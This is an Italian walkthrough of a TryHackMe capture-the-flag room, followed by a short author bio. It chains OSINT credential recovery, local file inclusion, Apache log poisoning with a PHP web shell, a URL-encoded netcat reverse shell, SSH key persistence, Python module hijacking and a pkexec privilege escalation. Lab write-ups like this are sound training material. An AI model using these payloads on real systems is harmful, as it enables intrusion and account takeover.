## Link
tryhackme.com/jr/hackinbowinter2021
## Prime scansioni
Dopo aver fatto partire la macchina, usiamo nmap per vedere quali porte e servizi sono aperti, con il seguente codice:
nmap -sC -sV --min-rate=10000 -oN nmap.log $IP
Vediamo che vi sono solo due servizi attivi sulla macchina, http e ssh
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-02 09:40 UTC
Nmap scan report for 10.10.144.104
Host is up (0.090s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:8b:44:d1:76:3c:87:f3:6c:41:83:22:b2:f3:8f:a9 (RSA)
| 256 b7:16:20:84:65:80:44:d4:58:d2:86:2c:e8:bf:bc:ca (ECDSA)
|_ 256 53:af:ef:ed:0b:cf:2e:dc:89:56:e8:8a:da:bd:cb:e2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.80 seconds
Facciamo un test per verificare il livello di sicurezza del protocollo ssh, con un utente falso, e vediamo che per la connessione è necessaria una chiave
Andiamo quindi ad esplorare il sito.
Si possono da subito notare due cose: innanzitutto è presente un indirizzo mail che rimanda ad un particolare dominio, e poi è presente un link ad una pagina di twitter.
Trattandosi probabilmente di un **vhost** andiamo ad aggiungere al file hosts questo dominio, e proviamo ad entrarci.
Così facendo vediamo vediamo che ora abbiamo un nuovo portale raggiungibile, ma per effettuare l’accesso sono necessarie delle credenziali.
Proviamo quindi a seguire il link di twitter, e vediamo dove ci porta.
A giudicare dall’ultimo post, un’analisi di tipo OSINT potrebbe dare risultati.
## OSINT
Utilizzando wayback machine è possibile andare a recuperare pagine che sono state salvate.
Andando a vedere il profilo, vediamo che proprio il giorno dell’ultimo post era stato fatto uno snapshot, ed andandolo ad esaminare troviamo quelle che sembrano proprio delle credenziali.
Con queste credenziali siamo in grado di accedere al portale.
## Sito
Esplorando il sito veidamo che gli url sono un poco particolari: sembrano richiamare le pagine direttamente, proviamo quindi a vedere se siamo in grado di richiamare qualche altro file interessante.
Dai risultati di nmap, sembrerebbe essere di fronte ad una macchina linux, quindi proviamo a richiamare il file passwd.
Vediamo che effettivamente abbiamo la possibilità di eseguire un LFI (Local File Inclusion).
Sempre vedendo i risultati i nmap, abbiamo visto che alla base vi è un servizio apache, pertanto potrebbe essere possibile andare a visualizzare i log.
I log di accesso si trovano in `/var/log/apache2/access.log`
Si può vedere come nei log sia presente anche lo user agent, che possiamo andare a modificare manualmente intercettando la rischiesta con burpsuite. Se non vi è sanificazione al momento della visualizzazione, potremmo essere quindi in grado di ottenere una RCE (Remote Code Execution)
Passiamo quindi a burpsuite e andiamo ad intercettare le richieste. Mandiamo la richiesta nel repeater e proviamo a modificare il nostro user agent con un codice php per far eseguire un comando specifico.
<?php echo system($_REQUEST['cmd']); ?>
Modificando così la richiesta, vediamo che siamo effettivamente in grado di eseguire dei comandi sulla macchina bersaglio
A questo punto quindi possiamo usare una reverse shell per entrare effettivamente all’interno della macchina stessa.
Usiamo una classica shell nc, codificata in url code per evitare che non accetti dei caratteri
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+IP+PORTA+>/tmp/f
E siamo dentro come www-data
Stabilizziamo la shell con python3 e cominciamo ad esplorare la macchina
## www-data
Andando a vedere il contenuto della cartella home, vediamo che sono presenti due utenti, j0hn_do3 e h4k1nb0.
Il primo sembrerebbe lo stesso utente con il quale abbiamo effettuato il login nel portale, vediamo se per caso utilizza la stessa password anche per la sua utenza locale.
Proviamo quindi a cambiare utente usando il comando `su` e effettivamente riusciamo a cambiare utente
## j0hn_d03
Andando a vedere la cartella home di j0hn_d03, troviamo innanzitutto la prima flag
Poichè ora abbiamo accesso ad un utente “vero”, possiamo stabilizzare la nostra shell, creando una chiave ssh sulla nostra macchina attaccante, aggiungendo la pubkey all’elenco di quelle autorizzte, e garantendoci quindi un minimo di persistenza e stabilità sulla macchina bersaglio.
ssh-keygen -f chiave
echo "valore_di_chiave.pub" >> .ssh/authorized_keys
ssh -i chiave j0hn_do3@IP
E così riusciamo ad avere una shell decisamente più stabile
All’interno della home di j0hn_do3 è anche presente un file python per generare delle password, di proprietà dell’utente h4k1nb0. In più, controllando i permessi di sudo, noi siamo in grado di lanciare quel file come l’utente proprietario.
Poichè il file si trova nella nostra cartella home, nella quale abbiamo pieni permessi di scrittura, possiamo sfruttare una vulnerabilità implicita di python stesso, cioè il fatto che quando va a richiamare un modulo, in questo caso “random”, prima controlla se esiste un file eseguibile con lo stesso nome nella location in cui si trova, e solo successivamente lo va a cercare nei percorsi delle librerie.
Pertanto, possiamo creare un falso file random.py, utilizzarlo per aprire una nuvova shell, e lanciandolo come l’altro utente, dovremmo essere in grado di cambiare identità.
Usiamo quindi il seguente codice, per creare il nostro falso file random.py:
#!/usr/bin/python3
import os
os.system("/bin/bash")
A a questo punto diamo i permessi di esecuzione al file con `chmod +x random.py` e infine lanciamo il programma, con il seguente comando:
sudo -u h4k1nb0 /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
## h4k1nb0
Come prima, per maggior sicurezza, inseriamo il valore della pubkey anche nell’authorized keys del nuovo utente, per poter rientrare quando si vuole in ssh.
Per prima cosa andiamo a prendere la flag nella cartella dell’utente.
Vediamo anche che nella cartella è presente un file nascosto chiamato creds.
All’interno c’è quella che sembra essere una password, quindi proviamo subito ad usare il comando `sudo -l` per vedere cosa possiamo eseguire… ma non possiamo eseguire nulla come sudo
Enumerando il sistema, vediamo che ci sono alcuni file interessanti in SUID. Notiamo che ***pkexec*** fa parte di questo elenco; normalmente questo è assolutamente normale, e poichè siamo parte del gruppo sudo, possiamo effettivamente sfruttarlo per elevare i nostri privilegi, come se lanciassimo un comando aggiungendo il sudo stesso.
## Privesc
Per fare ciò ci basterà aprire due sessioni ssh di collegamento alla macchina, in modo tale da ingannare il sistema, simulando un’interfaccia GUI, altrimenti riceveremmo un errore (maggiori info a riguardo su https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2 ).
E con questo, siamo root
Ora non ci resta altro da fare che andare in /root e recuperare l’ultima flag
Blue Team Inside, si occupa di sicurezza informatica da più di 5 anni, con un occhio di riguardo alla difesa.
Una Padawan Etichal pronta a difendere l’anello più debole della catena…
Attenzione a non sottovalutarla, se finite vittima di una sua campagna di Spear Phishing non potrete scampare.
Tre caratteristiche che la distinguono:
La precisione
Sempre alla ricerca di imparare cose nuove
La sua auto…comprensiva di antenna
Colore preferito? Verde, ovviamente!